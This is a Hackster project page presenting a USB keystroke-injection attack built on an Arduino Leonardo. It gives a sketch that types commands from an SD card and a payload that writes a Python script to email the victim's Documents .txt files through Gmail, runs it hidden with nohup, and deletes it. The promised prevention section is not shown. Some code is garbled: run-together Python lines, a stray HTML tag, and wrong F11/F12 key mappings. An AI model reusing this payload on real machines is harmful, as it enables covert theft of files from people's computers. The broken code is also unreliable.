Welcome to Hackster!
Hackster is a community dedicated to learning hardware, from beginner to pro. Join us, it's free!
danionescu
Published © GPL3+

Arduino Keyboard Exploit Demo (HID) and Prevention

In this project we're going to use an Arduino Leonardo to simulate a possible USB attack using HID (human interface device).

IntermediateFull instructions provided11,665
Arduino Keyboard Exploit Demo (HID) and Prevention

Things used in this project

Hardware components

Arduino Leonardo
Arduino Leonardo
×1
Sd card reader
×1
Sd card
×1
Pushbutton 3 pin (with resistor)
×1
Jumper wires (generic)
Jumper wires (generic)
×1
USB-A to Micro-USB Cable
USB-A to Micro-USB Cable
×1

Story

Read more

Schematics

Fritzing schematic image

Fritzing schematic

Arduino repository

The sketch is inside projects/keyboard_exploit

Code

keyboard_exploit.ino

Arduino
Error opening file.

Code snippet #1

Plain text
#include "Keyboard.h"

#include "SPI.h"
#include "SD.h"

String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;   
const int chipSelect = 10;       
int previousButtonState = HIGH;  

void setup() {
    pinMode(buttonPin, INPUT);
    Serial.begin(9600);
    Keyboard.begin();
    if (!SD.begin(chipSelect)) {
        Serial.println("Card failed, or not present!");
        return;
    }
}

void loop() {
    int buttonState = digitalRead(buttonPin);
    if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
      sdFileToKeyboard();
      Serial.println("Uploaded!");
      delay(500);
    }
    previousButtonState = buttonState;
}

void sdFileToKeyboard() {
    File dataFile = SD.open(filenameOnCard);
    if (!dataFile) {
      Serial.println("The specified filename is not present on SD card, check filenameOnCard !");
    }
    String line;
    while (dataFile.available()) {
        line = dataFile.readStringUntil('\n');
        Serial.println(line);
        sendToKeyboard(line);
    }
    dataFile.close();
}

void sendToKeyboard(String line) {
    String workingLine = line;
    if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
        sleepFor(line);
        return;      
    }
    if (workingLine.indexOf(commandStartingPoint) == -1) {
        Serial.print("Text:");Serial.println(line);
        Keyboard.println(line);
        pressEnter();
        return;        
    }    

    Serial.println("Command:");
    int charPosition = commandStartingPoint.length();
    int lineLength = line.length();
    workingLine += ",";
    
    while (workingLine != "") {
        workingLine = workingLine.substring(charPosition);
        Serial.print("WorkingLine:");Serial.println(workingLine);
        int specialCommandDelimiterPosition = workingLine.indexOf(",");
        String command = workingLine.substring(0, specialCommandDelimiterPosition);
        charPosition = specialCommandDelimiterPosition + 1;
        if (command != "") {
            Serial.print("Command found:");Serial.println(command);
            Keyboard.press(getCommandCode(command));
            delay(delayBetweenCommands);
        }
    }
    Keyboard.releaseAll();
    delay(delayBetweenCommands);
}

void pressEnter() {
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
}

void sleepFor(String line) {
    int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
    Serial.print("Sleeping for:");Serial.println(sleepAmount);
    delay(sleepAmount);
}

char getCommandCode(String text) {
    char textCharacters[2]; 
    text.toCharArray(textCharacters, 2);
    char code = textCharacters[0];
    
    code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
    code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
    code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
    code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
    code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
    code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
    code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
    code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
    code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
    code = (text == "KEY_TAB") ? KEY_TAB : code;
    code = (text == "KEY_RETURN") ? KEY_RETURN : code;
    code = (text == "KEY_ESC") ? KEY_ESC : code;
    code = (text == "KEY_INSERT") ? KEY_INSERT : code;
    code = (text == "KEY_DELETE") ? KEY_DELETE : code;
    code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
    code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
    code = (text == "KEY_HOME") ? KEY_HOME : code;
    code = (text == "KEY_END") ? KEY_END : code;
    code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
    code = (text == "KEY_F1") ? KEY_F1 : code;
    code = (text == "KEY_F2") ? KEY_F2 : code;
    code = (text == "KEY_F3") ? KEY_F3 : code;
    code = (text == "KEY_F4") ? KEY_F4 : code;
    code = (text == "KEY_F5") ? KEY_F5 : code;
    code = (text == "KEY_F6") ? KEY_F6 : code;
    code = (text == "KEY_F7") ? KEY_F7 : code;
    code = (text == "KEY_F8") ? KEY_F8 : code;
    code = (text == "KEY_F9") ? KEY_F9 : code;
    code = (text == "KEY_F10") ? KEY_F10 : code;
    code = (text == "KEY_F11") ? KEY_F1 : code;
    code = (text == "KEY_F12") ? KEY_F2 : code;</p><p>    return code;
}

Code snippet #2

Plain text
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoderssmtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):
    msg = MIMEMultipart()
    msg['From'] = smtp_user
    msg['To'] = COMMASPACE.join(to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject
    msg.attach(MIMEText(text))
    for file in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(file,"rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'
                       % os.path.basename(file))
        msg.attach(part)    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(smtp_user, smtp_pass)
    server.sendmail(smtp_user, to, msg.as_string())
    server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4

Github

https://github.com/danionescu0/arduino

Credits

danionescu
11 projects • 73 followers
I'm an electronics enthusiast, passionate about science, and programming.I like the challenges involved with building things from scratch.
Contact

Comments

Please log in or sign up to comment.